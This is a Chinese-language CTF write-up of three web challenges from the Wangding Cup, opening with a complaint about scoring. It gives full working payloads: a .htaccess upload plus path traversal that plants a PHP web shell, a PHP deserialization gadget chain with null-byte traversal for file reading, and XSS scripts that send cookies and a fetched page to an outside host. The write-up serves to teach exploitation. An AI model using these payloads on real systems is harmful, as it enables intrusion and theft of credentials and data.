网鼎杯比赛感想
水浅王八多,python真是多。 白虎组也太卷了,金融行业尤其卷,能做出来crypto和web我能理解,pwn、reverse都是强项,比web还强,那是平常不干业务吗?难以理解,而且现在比赛都不是pwn爹了,那是pwn爷爷,ak了web,还做了misc和crypto,最后只有三四百分,一道pwn题就是400多分,一道pwn就能进线下。现在web狗真是没啥活路。
吐槽归吐槽,但是还是技不如人。不过这次白虎组web基本都做出来了。先记录下WP吧!
web
一共有三个web题目,都是序号形式的,下面我就随意命名了,主要是记录下思路。
绕过一堆限制进行文件上传
首先是扫描目录发现git泄漏。
核心函数在application controller里面,源码如下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 
 | <?phpnamespace app\index\controller;
 
 class Index
 {
 public function index()
 {
 return '<form method="post" enctype="multipart/form-data" action='.url('index/index/upload').'>
 <input type="file" name="hw_file">
 <input type="submit" value="上传">';
 
 }
 
 public function upload()
 {
 if (request()->isPost()){
 $file = $_FILES['hw_file']??'';
 if(!$file){
 return json(['code'=>0,'msg'=>'请选择文件']);
 }
 $file_name = $file['name'];
 $file_tmp = $file['tmp_name'];
 $file_size = $file['size'];
 if ($file_size > 1024*1024*2){
 return json(['code'=>0,'msg'=>'文件大小不能超过2M']);
 }
 $file_error = $file['error'];
 if ($file_error > 0){
 return json(['code'=>0,'msg'=>'上传失败']);
 }
 $file_type = $file['type'];
 $file_ext = explode('.',$file_name);
 $file_ext = strtolower(end($file_ext));
 if(strstr($file_type, "image/")){
 if($this->upload_as_image($file_ext, $file_tmp, "../uploads/images/".date('YmdHis')."/", ["gif"], request()->get("hw_file_name")??FALSE)){
 return json(['code'=>1,'msg'=>'上传成功']);
 } else {
 return json(['code'=>0,'msg'=>'上传失败']);
 }
 } else {
 if($this->upload_as_text($file_ext, $file_tmp, "../uploads/files/".date('YmdHis')."/", request()->get("hw_file_name")??FALSE)){
 return json(['code'=>1,'msg'=>'上传成功']);
 } else {
 return json(['code'=>0,'msg'=>'上传失败']);
 }
 }
 } else {
 return json(['code'=>0,'msg'=>'请求方式错误']);
 }
 }
 
 public function upload_as_image($image_type, $image_tmp_file, $upload_base_dir, $file_ext_black_list, $image_filename=FALSE)
 {
 if(in_array($image_type, $file_ext_black_list)){
 return 0;
 }
 switch ($image_type) {
 case 'jpg':
 $image_ext = '.jpg';
 break;
 case 'png':
 $image_ext = '.png';
 break;
 case 'gif':
 $image_ext = '.gif';
 break;
 default:
 $image_ext = '.jpg';
 break;
 }
 $image_size = getimagesize($image_tmp_file);
 $image_width = $image_size[0];
 $image_height = $image_size[1];
 if($image_width > 200 || $image_height > 200){
 return 0;
 }
 if ($image_filename === FALSE) {
 $image_filename = date('YmdHis') . rand(1000, 9999) . $image_ext;
 } else {
 $image_filename = $image_filename . $image_ext;
 }
 if(!file_exists($upload_base_dir)){
 mkdir($upload_base_dir, 0777, true);
 }
 $image_file_path = $upload_base_dir . $image_filename;
 rename($image_tmp_file, $image_file_path);
 return 1;
 }
 
 public function upload_as_text($text_type, $text_tmp_file, $upload_base_dir, $text_filename=FALSE)
 {
 if(strstr($text_type, "ph")  || in_array($text_type, ['php', 'html', 'js', 'css', 'sql', 'phtml', 'shtml', 'php5', 'php7', 'phtm', 'pht', 'php8', 'php4', '.htaccess', 'tpl'])){
 return 0;
 }
 if (strstr($text_filename, ".") || strstr($text_filename, "/")) {
 return 0;
 }
 if( strlen($text_type) == 0){
 $text_ext = "";
 } else {
 
 if(!ctype_alpha($text_type)){
 return 0;
 }
 $text_ext = "." . $text_type;
 }
 if ($text_filename === FALSE) {
 $text_filename = date('YmdHis') . rand(1000, 9999) . $text_ext;
 } else {
 $text_filename = $text_filename . $text_ext;
 }
 if(strlen($text_filename) == 0 || strstr($text_filename, "/") ||!preg_match('/[A-Za-z0-9_]/is', $text_filename)){
 return 0;
 }
 if(!file_exists($upload_base_dir)){
 mkdir($upload_base_dir, 0777, true);
 }
 $text_file_path = $upload_base_dir . "/" . $text_filename;
 rename($text_tmp_file, $text_file_path);
 return 1;
 }
 
 }
 
 
 
 | 
这题目花里胡哨,其实挺简单的,主要还是考察细心,这里有两个上传处理的函数:1、upload_as_image  2、upload_as_text 
其中upload_as_text看似过滤严格,但是黑名单中.htaccess这个加了一个.就导致这个后缀是可以饶过的。所以我们可以通过upload_as_text上传.htaccess进行文件上传的利用。
上传文件.htaccess
| 12
 3
 4
 5
 6
 7
 8
 
 | ------WebKitFormBoundaryEjLloJDH5ErZUmS9Content-Disposition: form-data; name="hw_file"; filename=".htaccess"
 Content-Type: text/plain
 
 <FilesMatch "test">
 SetHandler application/x-httpd-php
 </FilesMatch>
 ------WebKitFormBoundaryEjLloJDH5ErZUmS9--
 
 | 
目录需要遍历时间戳得到在/uploads/files/20220827113034/.htaccess
但是每次上传的这个时间戳都不一样,这就没办法使用.htaccess进行getshell,但是我们还有一个函数upload_as_image:
这个函数没有禁止进行目录翻阅,所以我们可以上传一个指定目录的test.jpg 进行getshell。
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | POST /public/index.php/index/index/upload.html?hw_file_name=../../files/20220827113034/test HTTP/1.1
 
 ------WebKitFormBoundaryEjLloJDH5ErZUmS9
 Content-Disposition: form-data; name="hw_file"; filename="test.jpg"
 Content-Type: image/plain
 
 <?php echo "Shell";system($_GET['cmd']); ?>
 ------WebKitFormBoundaryEjLloJDH5ErZUmS9--
 
 | 
访问这个图片马去拿flag
php反序列化
首先打开题目就是源码,源码中有一个game参数是可以被反序列化的,所以只需要找一个利用链就行了。
源码如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 
 | <?phpclass abaaba{
 protected $DoNotGet;
 public function __get($name){
 $this->DoNotGet->$name = "two";
 return $this->DoNotGet->$name;
 }
 
 public function __toString(){
 return $this->Giveme;
 }
 }
 class Onemore{
 
 public $file;
 private $filename;
 
 public function __construct(){
 $this->readfile("images/def.jpg");
 $this->file="images/def.jpg";
 
 }
 
 public function readfile($f){
 $this->file = isset($f) ? $f : 'image'.$this->file;
 echo file_get_contents(safe($this->file));
 }
 
 public function __invoke(){
 return $this->filename->Giveme;
 }
 
 }
 class suhasuha{
 private $Giveme;
 public $action;
 
 public function __set($name, $value){
 $this->Giveme = ($this->action)();
 return $this->Giveme;
 }
 
 }
 class One{
 public $count;
 
 public function __construct(){
 $this->count = "one";
 }
 
 public function __destruct(){
 echo "try ".$this->count." again";
 }
 }
 function safe($path){
 $path = preg_replace("/.*\/\/.*/", "", $path);
 $path = preg_replace("/\..\..*/", "!", $path);
 $path = htmlentities($path);
 return strip_tags($path);
 }
 
 if(isset($_GET['game'])){
 unserialize($_GET['game']);
 }
 else{
 show_source(__FILE__);
 }
 
 | 
我是从下往上看的首先就看到了One这个类的destruct进行了字符串拼接,很明显就能想象到会调用__tostring函数,所以查找tostring发现类abaaba存在tostring,所以我们把$this->count 指向abaaba的对应对象上既可以进入abaaba。
然后abaaba类的tostring调用了一个不存在的属性(Giveme):
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | class abaaba{protected $DoNotGet;
 public function __get($name){
 $this->DoNotGet->$name = "two";
 return $this->DoNotGet->$name;
 }
 
 public function __toString(){
 return $this->Giveme;
 }
 }-
 
 | 
调用不存在的属性时会调用__get魔术方法从而进行对$this->DoNotGet->$name的设置。而设置一个不存在的属性会调用魔术方法set,所以我们就关注下 类suhasuha:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | class suhasuha{private $Giveme;
 public $action;
 
 public function __set($name, $value){
 $this->Giveme = ($this->action)();
 return $this->Giveme;
 }
 
 }
 
 | 
suhasuha的set方法正好触发危险函数可以调用一个无参构造方法,所以我们可以将这个方法设为类Onemore的readfile,尽管readfile有参数,但是无参也是可以执行的 会走到image拼接路径那一步:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | class Onemore{
 public $file;
 private $filename;
 
 public function __construct(){
 $this->readfile("images/def.jpg");
 $this->file="images/def.jpg";
 }
 public function readfile($f){
 $this->file = isset($f) ? $f : 'image'.$this->file;
 echo file_get_contents(safe($this->file));
 }
 public function __invoke(){
 return $this->filename->Giveme;
 }
 
 }
 
 | 
如何制定action调用类的指定方法呢?
用数组:$this->action=array(new Onemore(),”readfile”);
然后我们设定Onemore类中的file参数就能进行任意目录文件读取,但是safe中过滤了一些参数,好像是不能饶过,但是可以通过00饶过
| 1
 | $Onemore->file = "..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/flag";
 | 
我们的思路整理完了,但是如果我们直接生成对象并根据思路进行赋值时会发现报错:
类abaaba的DoNotGet属性时protected的,是无法外部赋值的,对于这种私有和保护的属性进行处理时,如果他不是序列化中必须的参数,可以直接删除,如果必须要用到且是无法外部调用的,那么我们就可以使用__construct构造函数进行内部赋值,也就是说可以直接在new对象的时候就完成属性赋值。
最终的payload:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 
 | <?phpclass abaaba{
 protected $DoNotGet;
 public function __get($name){
 $this->DoNotGet->$name = "two";
 return $this->DoNotGet->$name;
 }
 
 public function __toString(){
 return $this->Giveme;
 }
 
 public function __construct(){
 $suhasuha = new suhasuha();
 $Onemore = new Onemore();
 $Onemore->file = "..\x00/..\x00/flag.php";
 $suhasuha->action = array($Onemore,"readfile");
 $this->DoNotGet = $suhasuha;
 }
 }
 class Onemore{
 public $file;
 
 private $filename;
 
 public function __construct(){
 $this->readfile("images/def.jpg");
 $this->file="images/def.jpg";
 
 }
 
 public function readfile($f){
 $this->file = isset($f) ? $f : 'image'.$this->file;
 echo file_get_contents(safe($this->file));
 }
 
 public function __invoke(){
 return $this->filename->Giveme;
 }
 
 }
 class suhasuha{
 private $Giveme;
 public $action;
 
 public function __set($name, $value){
 $this->Giveme = ($this->action)();
 return $this->Giveme;
 }
 
 }
 class One{
 public $count;
 
 public function __construct(){
 $this->count = "one";
 }
 
 public function __destruct(){
 echo "try ".$this->count." again";
 }
 }
 function safe($path){
 $path = preg_replace("/.*\/\/.*/", "", $path);
 $path = preg_replace("/\..\..*/", "!", $path);
 $path = htmlentities($path);
 return strip_tags($path);
 }
 
 if(isset($_GET['game'])){
 unserialize($_GET['game']);
 }
 else{
 show_source(__FILE__);
 }
 
 $one = new One();
 $abaaba = new abaaba();
 $one->count = $abaaba;
 
 
 echo "-------------------------";
 echo urlencode(serialize($one));
 
 
 | 
xss盲打和本地请求伪造
这道题目其实挺简单的先xss打cookie,我这里使用的是如下payload(这个不唯一):
| 12
 3
 
 | <script>document.location="http://xxxx.xxx.com/cookie.php?c="%2bdocument.cookie;
 </script>
 
 | 
得到提示:GET /a?cookie=hint=Visit%20/g3t_fl4g%20to%20get%20flag HTTP/1.1
我们直接访问/g3t_fl4g提示本地访问,一般来说我们的这个伪造本地header中只有以下几种方法:
| 12
 3
 4
 5
 
 | X-Originating-IP: 127.0.0.1X-Forwarded-For: 127.0.0.1
 X-Remote-IP: 127.0.0.1
 X-Remote-Addr: 127.0.0.1
 Client-IP: 127.0.0.1
 
 | 
但是这里都不行,再结合xss可以想到是利用xss伪造管理员本地发一个请求,再把响应携带出来,很容易就想到用AJAX。
但是这里对XMLHttpRequest有过滤,我们只需要简单的饶过一下即可:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | <script>var ajx = eval("new XMLH"+"ttpR"+"equest");
 ajx.open("GET","/g3t_fl4g",true);
 ajx.send();
 ajx.onreadystatechange = function () {
 if(ajx.readyState === 4) {
 if(ajx.status == 200) {
 ajx.open("GET","http://VPS:5555/?flag=" + ajx.responseText,true);
 ajx.send();
 }
 }
 };
 </script>
 
 | 
我们的vps上面就会收到flag了。
结束语
web狗真是没啥出路,卷不动CTF了。